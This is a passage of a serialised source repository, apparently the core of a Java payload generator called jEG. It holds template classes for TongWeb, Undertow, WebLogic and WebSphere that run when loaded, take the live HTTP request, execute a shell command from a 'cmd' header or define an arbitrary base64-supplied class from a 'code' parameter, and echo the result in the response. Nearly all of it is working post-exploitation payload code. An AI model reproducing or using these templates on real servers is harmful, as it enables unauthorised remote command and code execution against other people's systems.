decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCmdExecTpl.java", "content": "package jeg.core.template.tongweb;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Scanner;\nimport java.util.Set;\n\npublic class TongWebCmdExecTpl {\n static {\n try {\n new TongWebCmdExecTpl();\n } catch (Exception e) {\n }\n }\n\n private static String getReqHeaderName() {\n return \"cmd\";\n }\n\n public TongWebCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {\n run();\n }\n\n\n public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Set threadSet = Thread.getAllStackTraces().keySet();\n List taskThreadList = new ArrayList();\n for (Thread thread : threadSet) {\n if (thread.getClass().getName().contains(\"tongweb.web.util.threads.TaskThread\")) {\n // 将目标对象添加到列表中\n taskThreadList.add(thread);\n }\n }\n\n List tables = new ArrayList();\n for (Thread thread : taskThreadList) {\n try {\n Field threadLocalsField = Thread.class.getDeclaredField(\"threadLocals\");\n threadLocalsField.setAccessible(true);\n Object localMap = threadLocalsField.get(thread);\n Class threadLocalMapClass = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap\");\n Field tableField = threadLocalMapClass.getDeclaredField(\"table\");\n tableField.setAccessible(true);\n Object table = tableField.get(localMap);\n tables.add(table);\n } catch (Exception e) {\n continue;\n }\n }\n\n List values = new ArrayList();\n for (Object table : tables) {\n // 遍历 table 中的项\n try {\n if (table != null && table.getClass().isArray()) {\n int length = Array.getLength(table);\n for (int i = 0; i < length; i++) {\n Object entry = Array.get(table, i);\n if (entry != null) {\n // 获取 entry 的 value 字段\n try {\n Field valueField = entry.getClass().getDeclaredField(\"value\");\n valueField.setAccessible(true);\n Object value = valueField.get(entry);\n values.add(value);\n } catch (Exception e) {\n }\n }\n }\n }\n } catch (Exception e) {\n }\n\n }\n\n for (Object value : values) {\n if (value != null && value.getClass().getName().equals(\"com.tongweb.catalina.connector.ThorRequest\")) {\n try {\n // 从 request header 获取参数\n String cmd = (String) value.getClass().getSuperclass().getDeclaredMethod(\"getHeader\", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()});\n if (cmd != null) {\n Object response = value.getClass().getSuperclass().getDeclaredMethod(\"getResponse\", new Class[0]).invoke(value, new Object[0]);\n Writer writer = (Writer) response.getClass().getMethod(\"getWriter\", new Class[0]).invoke(response, new Object[0]);\n writer.write(executeCommand(cmd));\n writer.flush();\n writer.close();\n break;\n }\n } catch (Exception ignored) {\n }\n }\n }\n }\n\n // 执行模块\n public static String executeCommand(String cmd) {\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n if (execRes.isEmpty()) {\n return String.format(\"The code executes successfully, but command:%s fails. The command may not exist!\\n\", cmd);\n }\n return execRes;\n } catch (Exception e) {\n return String.format(\"The code executes successfully, but command:%s fails. The command may not exist!\\n Error info: %s\", cmd, e.getMessage());\n }\n }\n\n}" }, { "path": "jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCodeExecTpl.java", "content": "package jeg.core.template.tongweb;\n\nimport jeg.core.template.inforsuite.InforSuiteCodeExecTpl;\n\nimport java.io.Writer;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Set;\n\npublic class TongWebCodeExecTpl {\n static {\n try {\n new TongWebCodeExecTpl();\n } catch (Exception e) {\n }\n }\n private static String getReqParamName() {\n return \"code\";\n }\n\n public TongWebCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {\n run();\n }\n\n public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Set threadSet = Thread.getAllStackTraces().keySet();\n List taskThreadList = new ArrayList();\n for (Thread thread : threadSet) {\n if (thread.getClass().getName().contains(\"tongweb.web.util.threads.TaskThread\")) {\n // 将目标对象添加到列表中\n taskThreadList.add(thread);\n }\n }\n\n List tables = new ArrayList();\n for (Thread thread : taskThreadList) {\n try {\n Field threadLocalsField = Thread.class.getDeclaredField(\"threadLocals\");\n threadLocalsField.setAccessible(true);\n Object localMap = threadLocalsField.get(thread);\n Class threadLocalMapClass = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap\");\n Field tableField = threadLocalMapClass.getDeclaredField(\"table\");\n tableField.setAccessible(true);\n Object table = tableField.get(localMap);\n tables.add(table);\n } catch (Exception e) {\n continue;\n }\n }\n\n List values = new ArrayList();\n for (Object table : tables) {\n // 遍历 table 中的项\n try {\n if (table != null && table.getClass().isArray()) {\n int length = Array.getLength(table);\n for (int i = 0; i < length; i++) {\n Object entry = Array.get(table, i);\n if (entry != null) {\n // 获取 entry 的 value 字段\n try {\n Field valueField = entry.getClass().getDeclaredField(\"value\");\n valueField.setAccessible(true);\n Object value = valueField.get(entry);\n values.add(value);\n } catch (Exception e) {\n }\n }\n }\n }\n } catch (Exception e) {\n }\n\n }\n\n for (Object value : values) {\n if (value != null && value.getClass().getName().equals(\"com.tongweb.catalina.connector.ThorRequest\")) {\n try {\n // 从 request body 获取参数\n String code = (String) value.getClass().getSuperclass().getDeclaredMethod(\"getParameter\", String.class).invoke(value, getReqParamName());\n if (code != null) {\n Object response = value.getClass().getSuperclass().getDeclaredMethod(\"getResponse\", new Class[0]).invoke(value, new Object[0]);\n Writer writer = (Writer) response.getClass().getMethod(\"getWriter\", new Class[0]).invoke(response, new Object[0]);\n writer.write(defineClazz(code));\n writer.flush();\n writer.close();\n break;\n }\n } catch (Exception ignored) {\n }\n }\n }\n }\n\n private static String defineClazz(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private static byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n}" }, { "path": "jeg-core/src/main/java/jeg/core/template/undertow/UndertowCmdExecTpl.java", "content": "package jeg.core.template.undertow;\n\nimport java.io.InputStream;\nimport java.io.PrintWriter;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Scanner;\n\npublic class UndertowCmdExecTpl {\n static {\n new UndertowCmdExecTpl();\n }\n\n private String getReqHeaderName() {\n return \"cmd\";\n }\n\n\n public UndertowCmdExecTpl(){\n run();\n }\n\n private void run(){\n try {\n Thread thread = Thread.currentThread();\n Object threadLocals = getFV(thread,\"threadLocals\");\n Object table = getFV(threadLocals,\"table\");\n\n for (int i = 0; i < Array.getLength(table); i++) {\n Object entry = Array.get(table, i);\n if (entry == null) continue;\n Object value = getFV(entry,\"value\");\n if (value != null && value.getClass().getName().contains(\"ServletRequestContext\")) {\n Object request = getFV(value,\"servletRequest\");\n String cmd = (String) invokeMethod(request,\"getHeader\",new Class[]{String.class},new Object[]{getReqHeaderName()});\n Object response = getFV(value,\"servletResponse\");\n PrintWriter writer = (PrintWriter) invokeMethod(response,\"getWriter\",new Class[0],new Object[0]);\n writer.write(exec(cmd));\n writer.flush();\n writer.close();\n }\n }\n }catch (Exception e){ }\n }\n\n private String exec(String cmd) {\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n return execRes;\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private synchronized Object getFV(final Object o, final String s) throws Exception {\n Field declaredField = null;\n Class clazz = o.getClass();\n while (clazz != Object.class) {\n try {\n declaredField = clazz.getDeclaredField(s);\n break;\n }\n catch (NoSuchFieldException ex) {\n clazz = clazz.getSuperclass();\n }\n }\n if (declaredField == null) {\n throw new NoSuchFieldException(s);\n }\n declaredField.setAccessible(true);\n return declaredField.get(o);\n }\n\n\n private synchronized Object invokeMethod(final Object obj,final String methodName,Class[] paramClazz,Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Method method = null;\n Class clazz = obj.getClass();\n while (clazz != Object.class){\n try {\n method = clazz.getDeclaredMethod(methodName,paramClazz);\n break;\n } catch (NoSuchMethodException e) {\n clazz = clazz.getSuperclass();\n }\n }\n\n if (method == null) {\n throw new NoSuchMethodException(methodName);\n }\n method.setAccessible(true);\n return method.invoke(obj,param);\n }\n\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/undertow/UndertowCodeExecTpl.java", "content": "package jeg.core.template.undertow;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\npublic class UndertowCodeExecTpl {\n static {\n new UndertowCodeExecTpl();\n }\n\n\n private static String getReqParamName() {\n return \"code\";\n }\n\n public UndertowCodeExecTpl() {\n run();\n }\n\n private void run() {\n try {\n Thread thread = Thread.currentThread();\n Object threadLocals = getFV(thread, \"threadLocals\");\n Object table = getFV(threadLocals, \"table\");\n\n for (int i = 0; i < Array.getLength(table); i++) {\n Object entry = Array.get(table, i);\n if (entry == null) continue;\n Object value = getFV(entry, \"value\");\n if (value != null && value.getClass().getName().contains(\"ServletRequestContext\")) {\n Object request = getFV(value, \"servletRequest\");\n String code = (String) invokeMethod(request, \"getParameter\", new Class[]{String.class}, new Object[]{getReqParamName()});\n if (code != null && code != \"\") {\n Object response = getFV(value, \"servletResponse\");\n PrintWriter writer = (PrintWriter) invokeMethod(response, \"getWriter\", new Class[0], new Object[0]);\n writer.write(exec(code));\n writer.flush();\n writer.close();\n }\n }\n }\n } catch (Exception e) {\n }\n }\n\n private synchronized Object getFV(final Object o, final String s) throws Exception {\n Field declaredField = null;\n Class clazz = o.getClass();\n while (clazz != Object.class) {\n try {\n declaredField = clazz.getDeclaredField(s);\n break;\n } catch (NoSuchFieldException ex) {\n clazz = clazz.getSuperclass();\n }\n }\n if (declaredField == null) {\n throw new NoSuchFieldException(s);\n }\n declaredField.setAccessible(true);\n return declaredField.get(o);\n }\n\n private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Method method = null;\n Class clazz = obj.getClass();\n while (clazz != Object.class) {\n try {\n method = clazz.getDeclaredMethod(methodName, paramClazz);\n break;\n } catch (NoSuchMethodException e) {\n clazz = clazz.getSuperclass();\n }\n }\n\n if (method == null) {\n throw new NoSuchMethodException(methodName);\n }\n method.setAccessible(true);\n return method.invoke(obj, param);\n }\n\n\n private String exec(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCmdExecTpl.java", "content": "package jeg.core.template.weblogic;\n\nimport jeg.core.template.undertow.UndertowCmdExecTpl;\n\nimport java.io.InputStream;\nimport java.io.PrintWriter;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.Scanner;\n\n/**\n * test in weblogic 10.3.6.0/12.1.3.0/12.2.1.3.0\n */\npublic class WebLogicCmdExecTpl {\n static {\n new WebLogicCmdExecTpl();\n }\n // 传参：需要执行的命令\n private String getReqHeaderName() {\n return \"cmd\";\n }\n\n\n public WebLogicCmdExecTpl() {\n run();\n }\n\n private void run(){\n String command = null;\n Thread thread = Thread.currentThread();\n Object target = null;\n PrintWriter writer = null;\n try {\n target = invokeMethod(thread, \"getCurrentWork\", new Class[0], new Object[0]);\n command = (String) invokeMethod(target, \"getHeader\", new Class[]{String.class}, new Object[]{getReqHeaderName()});\n Object response = invokeMethod(target, \"getResponse\", new Class[0], new Object[0]);\n writer = (PrintWriter) invokeMethod(response, \"getWriter\", new Class[0], new Object[0]);\n } catch (Exception e) {\n try {\n Object connectionHandler = getFV(target, \"connectionHandler\");\n Object request = invokeMethod(connectionHandler, \"getServletRequest\", new Class[0], new Object[0]);\n if (command == null) {\n command = (String) invokeMethod(request, \"getHeader\", new Class[]{String.class}, new Object[]{getReqHeaderName()});\n }\n Object response = invokeMethod(connectionHandler, \"getServletResponse\", new Class[0], new Object[0]);\n writer = (PrintWriter) invokeMethod(response, \"getWriter\", new Class[0], new Object[0]);\n } catch (Exception ignored) {\n }\n }\n // 执行命令\n String execRes = exec(command);\n // 回显执行结果\n writer.write(execRes);\n writer.flush();\n writer.close();\n }\n\n // 执行模块\n public String exec(String cmd){\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n return execRes;\n }catch (Exception e){\n return e.getMessage();\n }\n }\n\n private synchronized Object getFV(final Object o, final String s) throws Exception {\n Field declaredField = null;\n Class clazz = o.getClass();\n while (clazz != Object.class) {\n try {\n declaredField = clazz.getDeclaredField(s);\n break;\n } catch (NoSuchFieldException ex) {\n clazz = clazz.getSuperclass();\n }\n }\n if (declaredField == null) {\n throw new NoSuchFieldException(s);\n }\n declaredField.setAccessible(true);\n return declaredField.get(o);\n }\n\n\n private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Method method = null;\n Class clazz = obj.getClass();\n while (clazz != Object.class) {\n try {\n method = clazz.getDeclaredMethod(methodName, paramClazz);\n break;\n } catch (NoSuchMethodException e) {\n clazz = clazz.getSuperclass();\n }\n }\n\n if (method == null) {\n throw new NoSuchMethodException(methodName);\n }\n method.setAccessible(true);\n return method.invoke(obj, param);\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCodeExecTpl.java", "content": "package jeg.core.template.weblogic;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\n\npublic class WebLogicCodeExecTpl {\n static {\n new WebLogicCodeExecTpl();\n }\n\n private String getReqParamName() {\n return \"code\";\n }\n\n public WebLogicCodeExecTpl() {\n run();\n }\n\n private void run() {\n String code = null;\n Thread thread = Thread.currentThread();\n Object target = null;\n PrintWriter writer = null;\n try {\n target = invokeMethod(thread, \"getCurrentWork\", new Class[0], new Object[0]);\n code = (String) invokeMethod(target, \"getParameter\", new Class[]{String.class}, new Object[]{getReqParamName()});\n Object response = invokeMethod(target, \"getResponse\", new Class[0], new Object[0]);\n writer = (PrintWriter) invokeMethod(response, \"getWriter\", new Class[0], new Object[0]);\n } catch (Exception e) {\n try {\n Object connectionHandler = getFV(target, \"connectionHandler\");\n Object request = invokeMethod(connectionHandler, \"getServletRequest\", new Class[0], new Object[0]);\n if (code == null) {\n code = (String) invokeMethod(request, \"getParameter\", new Class[]{String.class}, new Object[]{getReqParamName()});\n }\n Object response = invokeMethod(connectionHandler, \"getServletResponse\", new Class[0], new Object[0]);\n writer = (PrintWriter) invokeMethod(response, \"getWriter\", new Class[0], new Object[0]);\n } catch (Exception ignored) {\n }\n }\n // define class\n String execRes = exec(code);\n // 回显执行结果\n writer.write(execRes);\n writer.flush();\n writer.close();\n }\n\n private String exec(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n\n private synchronized Object getFV(final Object o, final String s) throws Exception {\n Field declaredField = null;\n Class clazz = o.getClass();\n while (clazz != Object.class) {\n try {\n declaredField = clazz.getDeclaredField(s);\n break;\n } catch (NoSuchFieldException ex) {\n clazz = clazz.getSuperclass();\n }\n }\n if (declaredField == null) {\n throw new NoSuchFieldException(s);\n }\n declaredField.setAccessible(true);\n return declaredField.get(o);\n }\n\n\n private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Method method = null;\n Class clazz = obj.getClass();\n while (clazz != Object.class) {\n try {\n method = clazz.getDeclaredMethod(methodName, paramClazz);\n break;\n } catch (NoSuchMethodException e) {\n clazz = clazz.getSuperclass();\n }\n }\n\n if (method == null) {\n throw new NoSuchMethodException(methodName);\n }\n method.setAccessible(true);\n return method.invoke(obj, param);\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCmdExecTpl.java", "content": "package jeg.core.template.websphere;\n\nimport jeg.core.template.weblogic.WebLogicCodeExecTpl;\n\nimport java.io.InputStream;\nimport java.util.Scanner;\n\npublic class WebSphereCmdExecTpl {\n\n static {\n new WebSphereCmdExecTpl();\n }\n\n\n private String getReqHeaderName() {\n return \"cmd\";\n }\n\n public WebSphereCmdExecTpl() {\n run();\n }\n\n\n private void run() {\n try {\n Class clazz = Thread.currentThread().getClass();\n java.lang.reflect.Field field = clazz.getDeclaredField(\"wsThreadLocals\");\n field.setAccessible(true);\n Object obj = field.get(Thread.currentThread());\n Object[] obj_arr = (Object[]) obj;\n for (int i = 0; i < obj_arr.length; i++) {\n Object o = obj_arr[i];\n if (o == null) continue;\n if (o.getClass().getName().endsWith(\"WebContainerRequestState\")) {\n Object req = o.getClass().getMethod(\"getCurrentThreadsIExtendedRequest\", new Class[0]).invoke(o, new Object[0]);\n Object resp = o.getClass().getMethod(\"getCurrentThreadsIExtendedResponse\", new Class[0]).invoke(o, new Object[0]);\n String cmd = (String) req.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(req, new Object[]{getReqHeaderName()});\n if (cmd != null && !cmd.isEmpty()) {\n String execRes = exec(cmd);\n java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod(\"getWriter\", new Class[0]).invoke(resp, new Object[0]);\n printWriter.println(execRes);\n }\n break;\n }\n }\n } catch (Exception e) {\n }\n }\n\n private String exec(String cmd) {\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n return execRes;\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/template/websphere/WebSphereCodeExecTpl.java", "content": "package jeg.core.template.websphere;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\n/**\n * 执行代码回显(classBytes)\n */\npublic class WebSphereCodeExecTpl {\n\n static {\n new WebSphereCodeExecTpl();\n }\n\n public WebSphereCodeExecTpl() {\n run();\n }\n\n // 传参：类字节码\n private String getReqParamName() {\n return \"code\";\n }\n\n\n private void run() {\n try {\n Class clazz = Thread.currentThread().getClass();\n Field field = clazz.getDeclaredField(\"wsThreadLocals\");\n field.setAccessible(true);\n Object obj = field.get(Thread.currentThread());\n Object[] obj_arr = (Object[]) obj;\n for (int i = 0; i < obj_arr.length; i++) {\n Object o = obj_arr[i];\n if (o == null) continue;\n if (o.getClass().getName().endsWith(\"WebContainerRequestState\")) {\n Object req = o.getClass().getMethod(\"getCurrentThreadsIExtendedRequest\", new Class[0]).invoke(o, new Object[0]);\n Object resp = o.getClass().getMethod(\"getCurrentThreadsIExtendedResponse\", new Class[0]).invoke(o, new Object[0]);\n String code = (String) req.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(req, new Object[]{getReqParamName()});\n if (code != null && !code.isEmpty()) {\n String execRes = exec(code);\n java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod(\"getWriter\", new Class[0]).invoke(resp, new Object[0]);\n printWriter.println(execRes);\n }\n break;\n }\n }\n } catch (Exception e) {\n }\n }\n\n private String exec(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n}\n" }, { "path": "jeg-core/src/main/java/jeg/core/util/TemplateUtil.java", "content": "package jeg.core.util;\n\nimport jeg.core.config.jEGConstants;\nimport jeg.core.template.all.DFSCmdExecTpl;\nimport jeg.core.template.all.DFSCodeExecTpl;\nimport jeg.core.template.bes.BESCmdExecTpl;\nimport jeg.core.template.bes.BESCodeExecTpl;\nimport jeg.core.template.inforsuite.InforSuiteCmdExecTpl;\nimport jeg.core.template.inforsuite.InforSuiteCodeExecTpl;\nimport jeg.core.template.jetty.JettyCmdExecTpl;\nimport jeg.core.template.jetty.JettyCodeExecTpl;\nimport jeg.core.template.resin.ResinCmdExecTpl;\nimport jeg.core.template.resin.ResinCodeExecTpl;\nimport jeg.core.template.springmvc.SpringMVCCmdExecTpl;\nimport jeg.core.template.springmvc.SpringMVCCodeExecTpl;\nimport jeg.core.template.struts2.Struts2CmdExecTpl;\nimport jeg.core.template.struts2.Struts2CodeExecTpl;\nimport jeg.core.template.tomcat.TomcatCmdExecTpl;\nimport jeg.core.template.tomcat.TomcatCodeExecTpl;\nimport jeg.core.template.tongweb.TongWebCmdExecTpl;\nimport jeg.core.template.tongweb.TongWebCodeExecTpl;\nimport jeg.core.template.undertow.UndertowCmdExecTpl;\nimport jeg.core.template.undertow.UndertowCodeExecTpl;\nimport jeg.core.template.weblogic.WebLogicCmdExecTpl;\nimport jeg.core.template.weblogic.WebLogicCodeExecTpl;\nimport jeg.core.template.websphere.WebSphereCmdExecTpl;\nimport jeg.core.template.websphere.WebSphereCodeExecTpl;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class TemplateUtil {\n private static final Map> classMap = new HashMap();\n\n public static String getEchoTplClassName(String serverType, String modleType) {\n Map tplMap = (Map) classMap.get(serverType);\n return tplMap == null ? \"\" : tplMap.getOrDefault(modleType, \"\");\n }\n\n static {\n\n // 1、jetty\n Map jettyMap = new HashMap();\n jettyMap.put(jEGConstants.MODEL_CMD, JettyCmdExecTpl.class.getName());\n jettyMap.put(jEGConstants.MODEL_CODE, JettyCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_JETTY, jettyMap);\n\n // 2、resin\n Map resinMap = new HashMap();\n resinMap.put(jEGConstants.MODEL_CMD, ResinCmdExecTpl.class.getName());\n resinMap.put(jEGConstants.MODEL_CODE, ResinCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_RESIN, resinMap);\n\n\n // 3、spring\n Map springmvcMap = new HashMap();\n springmvcMap.put(jEGConstants.MODEL_CMD, SpringMVCCmdExecTpl.class.getName());\n springmvcMap.put(jEGConstants.MODEL_CODE, SpringMVCCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_SPRING_MVC, springmvcMap);\n\n // 4、struts2\n Map struts2Map = new HashMap();\n struts2Map.put(jEGConstants.MODEL_CMD, Struts2CmdExecTpl.class.getName());\n struts2Map.put(jEGConstants.MODEL_CODE, Struts2CodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_STRUTS2, struts2Map);\n\n // 5、tomcat\n Map tomcatMap = new HashMap();\n tomcatMap.put(jEGConstants.MODEL_CMD, TomcatCmdExecTpl.class.getName());\n tomcatMap.put(jEGConstants.MODEL_CODE, TomcatCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_TOMCAT, tomcatMap);\n\n\n // 6、weblogic\n Map weblogicMap = new HashMap();\n weblogicMap.put(jEGConstants.MODEL_CMD, WebLogicCmdExecTpl.class.getName());\n weblogicMap.put(jEGConstants.MODEL_CODE, WebLogicCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_WEBLOGIC, weblogicMap);\n\n // 7、websphere\n Map websphereMap = new HashMap();\n websphereMap.put(jEGConstants.MODEL_CMD, WebSphereCmdExecTpl.class.getName());\n websphereMap.put(jEGConstants.MODEL_CODE, WebSphereCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_WEBSPHERE, websphereMap);\n\n // 8、undertow\n Map undertowMap = new HashMap();\n undertowMap.put(jEGConstants.MODEL_CMD, UndertowCmdExecTpl.class.getName());\n undertowMap.put(jEGConstants.MODEL_CODE, UndertowCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_UNDERTOW, undertowMap);\n\n // 9、Unknown\n Map unknownMap = new HashMap();\n unknownMap.put(jEGConstants.MODEL_CMD, DFSCmdExecTpl.class.getName());\n unknownMap.put(jEGConstants.MODEL_CODE, DFSCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_UNKNOWN, unknownMap);\n\n // 10、BES\n Map besMap = new HashMap();\n besMap.put(jEGConstants.MODEL_CMD, BESCmdExecTpl.class.getName());\n besMap.put(jEGConstants.MODEL_CODE, BESCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_BES, besMap);\n\n // 11、InforSuite\n Map inforsuiteMap = new HashMap();\n inforsuiteMap.put(jEGConstants.MODEL_CMD, InforSuiteCmdExecTpl.class.getName());\n inforsuiteMap.put(jEGConstants.MODEL_CODE, InforSuiteCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_INFORSUITE, inforsuiteMap);\n\n // 12、BES\n Map tongwebMap = new HashMap();\n tongwebMap.put(jEGConstants.MODEL_CMD, TongWebCmdExecTpl.class.getName());\n tongwebMap.put(jEGConstants.MODEL_CODE, TongWebCodeExecTpl.class.getName());\n classMap.put(jEGConstants.SERVER_TONGWEB, tongwebMap);\n }\n}\n" }, { "path": "jeg-core/src/test/java/GeneratorTest.java", "content": "import jeg.common.util.ClassUtil;\nimport jeg.core.config.jEGConstants;\nimport jeg.core.jEGenerator;\nimport jeg.core.config.jEGConfig;\n\npublic class GeneratorTest {\n public static void 